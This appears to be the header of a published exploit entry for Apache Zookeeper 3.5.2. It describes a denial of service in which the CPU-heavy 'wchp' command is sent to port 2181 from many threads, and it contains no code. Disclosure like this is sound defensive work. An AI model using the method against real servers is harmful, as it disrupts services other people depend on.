# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#	This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#	The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#	This should effect Linux x86 & x64 as well
